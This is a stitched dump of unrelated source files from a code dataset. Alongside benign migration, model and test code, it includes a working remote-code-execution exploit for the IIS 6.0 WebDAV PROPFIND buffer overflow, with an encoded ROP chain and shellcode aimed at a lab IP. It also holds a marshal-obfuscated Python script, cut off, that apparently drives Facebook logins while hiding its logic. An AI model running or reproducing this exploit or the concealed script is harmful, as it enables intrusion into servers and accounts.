op.add_column('results', sa.Column('movie_14', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_3_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_2', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_20_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_1', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_16_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_7', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_19_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_13', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_8_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_19', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_16', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_20', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_10', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_6_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_6', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_17', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_11_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_3', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_4_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_5_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_4', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_14_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_12', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_18', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_7_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_1_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_12_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_11', sa.VARCHAR(), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_17_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_15_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_2_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.add_column('results', sa.Column('movie_10_results', postgresql.DOUBLE_PRECISION(precision=53), autoincrement=False, nullable=True)) op.drop_column('results', 'movie_gross') op.drop_column('results', 'movie') # ### end Alembic commands ###

67.063063

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0.738716

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7,444

5.254237

0.077767

0.207211

0.087666

0.143454

0.933966

0.929412

0.774573

0.702467

0.702087

0.693928

0

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0.0982

7,444

110

139

67.672727

0.753166

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false

0

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0

null

1

0

1

0

null

0

7

48f8b600685f4396a53a8c75ec94c48c550d5661

2,942

py

Python

Model/models.py

tarun360/SpeakerProfiling

61a033aed07e89d94e18d89393e11b43862933ab

[ "MIT" ]

6

2022-01-10T11:30:52.000Z

2022-01-11T05:29:25.000Z

Model/models.py

tarun360/SpeakerProfiling

61a033aed07e89d94e18d89393e11b43862933ab

[ "MIT" ]

null

Model/models.py

tarun360/SpeakerProfiling

61a033aed07e89d94e18d89393e11b43862933ab

[ "MIT" ]

2

2022-01-13T05:20:07.000Z

2022-03-23T12:05:41.000Z

import torch import torch.nn as nn from conformer.encoder import ConformerEncoder from IPython import embed class UpstreamTransformer(nn.Module): def __init__(self, upstream_model='wav2vec2',num_layers=6, feature_dim=768, unfreeze_last_conv_layers=False): super().__init__() self.upstream = torch.hub.load('s3prl/s3prl', upstream_model) # Selecting the 9th encoder layer (out of 12) self.upstream.model.encoder.layers = self.upstream.model.encoder.layers[0:9] for param in self.upstream.parameters(): param.requires_grad = False if unfreeze_last_conv_layers: for param in self.upstream.model.feature_extractor.conv_layers[5:].parameters(): param.requires_grad = True encoder_layer = torch.nn.TransformerEncoderLayer(d_model=feature_dim, nhead=8, batch_first=True) self.transformer_encoder = torch.nn.TransformerEncoder(encoder_layer, num_layers=num_layers) self.height_regressor = nn.Linear(feature_dim, 1) self.age_regressor = nn.Linear(feature_dim, 1) self.gender_classifier = nn.Sequential( nn.Linear(feature_dim, 1), nn.Sigmoid() ) def forward(self, x): x = [wav for wav in x.squeeze(1)] x = self.upstream(x)['last_hidden_state'] output = self.transformer_encoder(x) output_averaged = torch.mean(output, dim=1) height = self.height_regressor(output_averaged) age = self.age_regressor(output_averaged) gender = self.gender_classifier(output_averaged) return height, age, gender # height only models class UpstreamTransformerH(nn.Module): def __init__(self, upstream_model='wav2vec2',num_layers=6, feature_dim=768, unfreeze_last_conv_layers=False): super().__init__() self.upstream = torch.hub.load('s3prl/s3prl', upstream_model) # Selecting the 9th encoder layer (out of 12) self.upstream.model.encoder.layers = self.upstream.model.encoder.layers[0:9] for param in self.upstream.parameters(): param.requires_grad = False if unfreeze_last_conv_layers: for param in self.upstream.model.feature_extractor.conv_layers[5:].parameters(): param.requires_grad = True encoder_layer = torch.nn.TransformerEncoderLayer(d_model=feature_dim, nhead=8, batch_first=True) self.transformer_encoder = torch.nn.TransformerEncoder(encoder_layer, num_layers=num_layers) self.height_regressor = nn.Linear(feature_dim, 1) def forward(self, x): x = [wav for wav in x.squeeze(1)] x = self.upstream(x)['last_hidden_state'] output = self.transformer_encoder(x) output_averaged = torch.mean(output, dim=1) height = self.height_regressor(output_averaged) return height

42.028571

113

0.669613

365

2,942

5.167123

0.224658

0.089077

0.07211

0.04666

0.839343

0.829268

0.81018

0

0.016889

0.235214

2,942

70

114

42.028571

0.821333

0.03603

0

0.705882

0

0.025415

0

1

0.078431

false

0

0.078431

0

0.235294

0

null

0

1

0

1

0

null

0

7

d2c21253c36a48f6ec8d55065fc36321359f0722

4,931

py

Python

tests/test_train_e2e.py

brentyi/torchfilter

da0250baf2197f59b6e67f37cafdd63015380cbb

[ "MIT" ]

84

2020-09-08T07:33:04.000Z

2022-03-30T17:25:00.000Z

tests/test_train_e2e.py

brentyi/diffbayes

da0250baf2197f59b6e67f37cafdd63015380cbb

[ "MIT" ]

4

2020-11-03T14:32:11.000Z

2021-05-12T02:49:49.000Z

tests/test_train_e2e.py

brentyi/diffbayes

da0250baf2197f59b6e67f37cafdd63015380cbb

[ "MIT" ]

18

2020-11-04T22:20:55.000Z

2021-12-21T10:23:26.000Z

import torch from _linear_system_fixtures import ( buddy, generated_data, generated_data_numpy_list, single_step_dataloader, subsequence_dataloader, ) from _linear_system_models import ( LinearDynamicsModel, LinearKalmanFilterMeasurementModel, LinearParticleFilterMeasurementModel, LinearVirtualSensorModel, get_trainable_model_error, state_dim, ) import torchfilter def test_train_ekf_e2e(subsequence_dataloader, buddy): """Check that training our EKF end-to-end drops both dynamics and measurement errors. """ # Create individual models + filter dynamics_model = LinearDynamicsModel(trainable=True) measurement_model = LinearKalmanFilterMeasurementModel(trainable=True) filter_model = torchfilter.filters.ExtendedKalmanFilter( dynamics_model=dynamics_model, measurement_model=measurement_model ) # Compute initial errors initial_dynamics_error = get_trainable_model_error(dynamics_model) initial_measurement_error = get_trainable_model_error(measurement_model) # Train for 1 epoch buddy.attach_model(filter_model) torchfilter.train.train_filter( buddy, filter_model, subsequence_dataloader, initial_covariance=torch.eye(state_dim) * 0.01, ) # Check that errors dropped assert get_trainable_model_error(dynamics_model) < initial_dynamics_error assert get_trainable_model_error(measurement_model) < initial_measurement_error def test_train_ukf_e2e(subsequence_dataloader, buddy): """Check that training our UKF end-to-end drops both dynamics and measurement errors. """ # Create individual models + filter dynamics_model = LinearDynamicsModel(trainable=True) measurement_model = LinearKalmanFilterMeasurementModel(trainable=True) filter_model = torchfilter.filters.UnscentedKalmanFilter( dynamics_model=dynamics_model, measurement_model=measurement_model ) # Compute initial errors initial_dynamics_error = get_trainable_model_error(dynamics_model) initial_measurement_error = get_trainable_model_error(measurement_model) # Train for 1 epoch buddy.attach_model(filter_model) torchfilter.train.train_filter( buddy, filter_model, subsequence_dataloader, initial_covariance=torch.eye(state_dim) * 0.01, ) # Check that errors dropped assert get_trainable_model_error(dynamics_model) < initial_dynamics_error assert get_trainable_model_error(measurement_model) < initial_measurement_error def test_train_virtual_sensor_ekf_e2e(subsequence_dataloader, buddy): """Check that training our virtual sensor EKF end-to-end drops both dynamics and virtual sensor errors. """ # Create individual models + filter dynamics_model = LinearDynamicsModel(trainable=True) virtual_sensor_model = LinearVirtualSensorModel(trainable=True) filter_model = torchfilter.filters.VirtualSensorExtendedKalmanFilter( dynamics_model=dynamics_model, virtual_sensor_model=virtual_sensor_model ) # Compute initial errors initial_dynamics_error = get_trainable_model_error(dynamics_model) initial_virtual_sensor_error = get_trainable_model_error(virtual_sensor_model) # Train for 1 epoch buddy.attach_model(filter_model) torchfilter.train.train_filter( buddy, filter_model, subsequence_dataloader, initial_covariance=torch.eye(state_dim) * 0.01, ) # Check that errors dropped assert get_trainable_model_error(dynamics_model) < initial_dynamics_error assert ( get_trainable_model_error(virtual_sensor_model) < initial_virtual_sensor_error ) def test_train_pf_e2e(subsequence_dataloader, buddy): """Check that training our particle filter end-to-end drops both dynamics and measurement errors. """ # Create individual models + filter dynamics_model = LinearDynamicsModel(trainable=True) measurement_model = LinearParticleFilterMeasurementModel(trainable=True) filter_model = torchfilter.filters.ParticleFilter( dynamics_model=dynamics_model, measurement_model=measurement_model, num_particles=500, ) # Compute initial errors initial_dynamics_error = get_trainable_model_error(dynamics_model) initial_measurement_error = get_trainable_model_error( measurement_model.kalman_filter_measurement_model ) # Train for 1 epoch buddy.attach_model(filter_model) torchfilter.train.train_filter( buddy, filter_model, subsequence_dataloader, initial_covariance=torch.eye(state_dim) * 0.01, ) # Check that errors dropped assert get_trainable_model_error(dynamics_model) < initial_dynamics_error assert ( get_trainable_model_error(measurement_model.kalman_filter_measurement_model) < initial_measurement_error )

34.243056

86

0.762928

540

4,931

6.594444

0.137037

0.073013

0.081157

0.105027

0.822241

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0.780118

0.765234

0.711879

0.682673

0

0.005696

0.181099

4,931

143

87

34.482517

0.876176

0.155344

0

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1

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0.085106

1

0.042553

false

0

0.042553

0

0.085106

0

null

0

1

0

1

0

null

0

7

d2e779472ad1bba64a215c1a19201cb748bd25c9

6,149

py

Python

assets/img/grandpa-hackthebox/exploit.py

pulkittalwar2611/pulkittalwar.github.io

a057e3cb866d3b3a8a5c31f83524ee37d249fc2c

[ "MIT" ]

null

assets/img/grandpa-hackthebox/exploit.py

pulkittalwar2611/pulkittalwar.github.io

a057e3cb866d3b3a8a5c31f83524ee37d249fc2c

[ "MIT" ]

null

assets/img/grandpa-hackthebox/exploit.py

pulkittalwar2611/pulkittalwar.github.io

a057e3cb866d3b3a8a5c31f83524ee37d249fc2c

[ "MIT" ]

null

''' Description:Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016. Additional Information: the ScStoragePathFromUrl function is called twice Vulnerability Type: Buffer overflow Vendor of Product: Microsoft Affected Product Code Base: Windows Server 2003 R2 Affected Component: ScStoragePathFromUrl Attack Type: Remote Impact Code execution: true Attack Vectors: crafted PROPFIND data Has vendor confirmed or acknowledged the vulnerability?:true Discoverer:Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China ''' #------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous. #written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China #-----------Email: edwardz@foxmail.com import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('10.10.10.14',80)) pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n' pay+='If: <http://localhost/aaaaaaa' pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac' pay+='>' pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb' pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81' shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA' pay+=shellcode pay+='>\r\n\r\n' print pay sock.send(pay) data = sock.recv(80960) print data sock.close

136.644444

2,184

0.771833

1,210

6,149

3.920661

0.175207

0.027825

0.020868

0.015177

0.094224

0.091062

0.072091

0.063238

0.051855

0

0.236475

0.044072

6,149

45

2,185

136.644444

0.570602

0.054968

0

0.176471

0.944672

0.916803

0

1

0

null

0

0.058824

null

0.117647

0

null

0

1

0

1

0

1

null

1

0

1

0

7

8258063f06ec3263078ad880d0386a9ccfb3b6b3

24,558

py

Python

India1.py

Sultandaku/India

7a6fad66fa13e2b7a4e6351a430896d8dba972b1

[ "Apache-2.0" ]

null

India1.py

Sultandaku/India

7a6fad66fa13e2b7a4e6351a430896d8dba972b1

[ "Apache-2.0" ]

null

India1.py

Sultandaku/India

7a6fad66fa13e2b7a4e6351a430896d8dba972b1

[ "Apache-2.0" ]

null

import marshal exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00s!\x00\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00e\x00\x00j\x01\x00d\x02\x00\x83\x01\x00d\x01\x00\x04Ud\x01\x00S(\x03\x00\x00\x00i\xff\xff\xff\xffNs\x9b(\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00@\x00\x00\x00s\xa3\x03\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x00\x00d\x01\x00l\x03\x00Z\x03\x00d\x00\x00d\x01\x00l\x04\x00Z\x04\x00d\x00\x00d\x01\x00l\x05\x00Z\x05\x00d\x00\x00d\x01\x00l\x06\x00Z\x06\x00d\x00\x00d\x01\x00l\x07\x00Z\x07\x00d\x00\x00d\x01\x00l\x08\x00Z\x08\x00d\x00\x00d\x01\x00l\t\x00Z\t\x00d\x00\x00d\x01\x00l\n\x00Z\n\x00d\x00\x00d\x01\x00l\x0b\x00Z\x0b\x00e\x00\x00j\x0c\x00d\x02\x00\x83\x01\x00\x01xJ\x00e\r\x00d\x03\x00\x83\x01\x00D]<\x00Z\x0e\x00e\x04\x00j\x0f\x00d\x04\x00d\x05\x00\x83\x02\x00Z\x10\x00e\x11\x00d\x06\x00d\x07\x00\x83\x02\x00e\x01\x00_\x12\x00e\x10\x00GHe\x01\x00j\x12\x00j\x13\x00\x83\x00\x00\x01q\xaa\x00Wy\x10\x00d\x00\x00d\x01\x00l\x14\x00Z\x14\x00Wn\x1e\x00\x04e\x15\x00k\n\x00r\x1a\x01\x01\x01\x01e\x00\x00j\x0c\x00d\x08\x00\x83\x01\x00\x01n\x01\x00Xy\x10\x00d\x00\x00d\x01\x00l\x16\x00Z\x16\x00Wn8\x00\x04e\x15\x00k\n\x00re\x01\x01\x01\x01e\x00\x00j\x0c\x00d\t\x00\x83\x01\x00\x01e\x02\x00j\x17\x00d\n\x00\x83\x01\x00\x01e\x00\x00j\x0c\x00d\x0b\x00\x83\x01\x00\x01n\x01\x00Xd\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x00\x00d\x01\x00l\x03\x00Z\x03\x00d\x00\x00d\x01\x00l\x04\x00Z\x04\x00d\x00\x00d\x01\x00l\x05\x00Z\x05\x00d\x00\x00d\x01\x00l\x06\x00Z\x06\x00d\x00\x00d\x01\x00l\x07\x00Z\x07\x00d\x00\x00d\x01\x00l\x08\x00Z\x08\x00d\x00\x00d\x01\x00l\t\x00Z\t\x00d\x00\x00d\x01\x00l\n\x00Z\n\x00d\x00\x00d\x01\x00l\x14\x00Z\x14\x00d\x00\x00d\x01\x00l\x16\x00Z\x16\x00d\x00\x00d\x0c\x00l\x18\x00m\x19\x00Z\x19\x00\x01d\x00\x00d\r\x00l\x1a\x00m\x1b\x00Z\x1b\x00\x01d\x00\x00d\x0e\x00l\x16\x00m\x1c\x00Z\x1c\x00\x01e\x1d\x00e\x01\x00\x83\x01\x00\x01e\x01\x00j\x1e\x00d\x0f\x00\x83\x01\x00\x01e\x16\x00j\x1c\x00\x83\x00\x00Z\x1f\x00e\x1f\x00j \x00e!\x00\x83\x01\x00\x01e\x1f\x00j"\x00e\x16\x00j#\x00j$\x00\x83\x00\x00d\x10\x00d\n\x00\x83\x01\x01\x01d.\x00g\x01\x00e\x1f\x00_%\x00d/\x00g\x01\x00e\x1f\x00_%\x00d\x15\x00\x84\x00\x00Z&\x00d\x16\x00\x84\x00\x00Z\'\x00d\x17\x00\x84\x00\x00Z(\x00d\x18\x00\x84\x00\x00Z)\x00d\x19\x00\x84\x00\x00Z*\x00d\x1a\x00Z+\x00g\x00\x00a,\x00g\x00\x00Z-\x00g\x00\x00a.\x00d\x1b\x00Z/\x00d\x1c\x00Z0\x00e\x00\x00j\x0c\x00d\x1d\x00\x83\x01\x00\x01d\x1e\x00GHd\x1f\x00Z1\x00d \x00Z2\x00d!\x00Z3\x00d"\x00Z4\x00xH\x00e4\x00d"\x00k\x02\x00r[\x03e5\x00d#\x00\x83\x01\x00Z6\x00e6\x00e3\x00k\x02\x00rF\x03d$\x00GHd%\x00Z4\x00q\x14\x03d&\x00GHe\x00\x00j\x0c\x00d\'\x00\x83\x01\x00\x01q\x14\x03Wd(\x00\x84\x00\x00Z7\x00d)\x00\x84\x00\x00Z8\x00d*\x00\x84\x00\x00Z9\x00d+\x00\x84\x00\x00Z:\x00d,\x00\x84\x00\x00Z;\x00e<\x00d-\x00k\x02\x00r\x9f\x03e8\x00\x83\x00\x00\x01n\x00\x00d\x01\x00S(0\x00\x00\x00i\xff\xff\xff\xffNs\x0b\x00\x00\x00rm -rf .txti\x10\'\x00\x00iG\xf4\x10\x00i\x7f\x96\x98\x00s\x04\x00\x00\x00.txtt\x01\x00\x00\x00as\x16\x00\x00\x00pip2 install mechanizes\x14\x00\x00\x00pip2 install requesti\x01\x00\x00\x00s\x17\x00\x00\x00Then type: python2 boss(\x01\x00\x00\x00t\n\x00\x00\x00ThreadPool(\x01\x00\x00\x00t\x0f\x00\x00\x00ConnectionError(\x01\x00\x00\x00t\x07\x00\x00\x00Browsert\x04\x00\x00\x00utf8t\x08\x00\x00\x00max_times\n\x00\x00\x00User-AgentsR\x00\x00\x00Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16s\n\x00\x00\x00user-agents\x1e\x01\x00\x00Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z00AD;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]c\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00C\x00\x00\x00s\x16\x00\x00\x00d\x01\x00GHt\x00\x00j\x01\x00j\x02\x00\x83\x00\x00\x01d\x00\x00S(\x02\x00\x00\x00Ns\x07\x00\x00\x00Thanks.(\x03\x00\x00\x00t\x02\x00\x00\x00ost\x03\x00\x00\x00syst\x04\x00\x00\x00exit(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x0c\x00\x00\x00tahmid_rayatt\x06\x00\x00\x00keluar"\x00\x00\x00s\x04\x00\x00\x00\x00\x01\x05\x01c\x01\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00C\x00\x00\x00sS\x00\x00\x00d\x01\x00}\x01\x00d\x02\x00}\x02\x00x:\x00t\x00\x00D]2\x00}\x03\x00|\x02\x00d\x03\x00|\x01\x00t\x01\x00j\x02\x00d\x04\x00t\x03\x00|\x01\x00\x83\x01\x00d\x05\x00\x18\x83\x02\x00\x19\x17|\x03\x00\x177}\x02\x00q\x13\x00Wt\x04\x00|\x02\x00\x83\x01\x00S(\x06\x00\x00\x00Nt\x07\x00\x00\x00ahtdzjct\x00\x00\x00\x00t\x01\x00\x00\x00!i\x00\x00\x00\x00i\x01\x00\x00\x00(\x05\x00\x00\x00t\x01\x00\x00\x00xt\x06\x00\x00\x00randomt\x07\x00\x00\x00randintt\x03\x00\x00\x00lent\x05\x00\x00\x00cetak(\x04\x00\x00\x00t\x01\x00\x00\x00bt\x01\x00\x00\x00wt\x01\x00\x00\x00dt\x01\x00\x00\x00i(\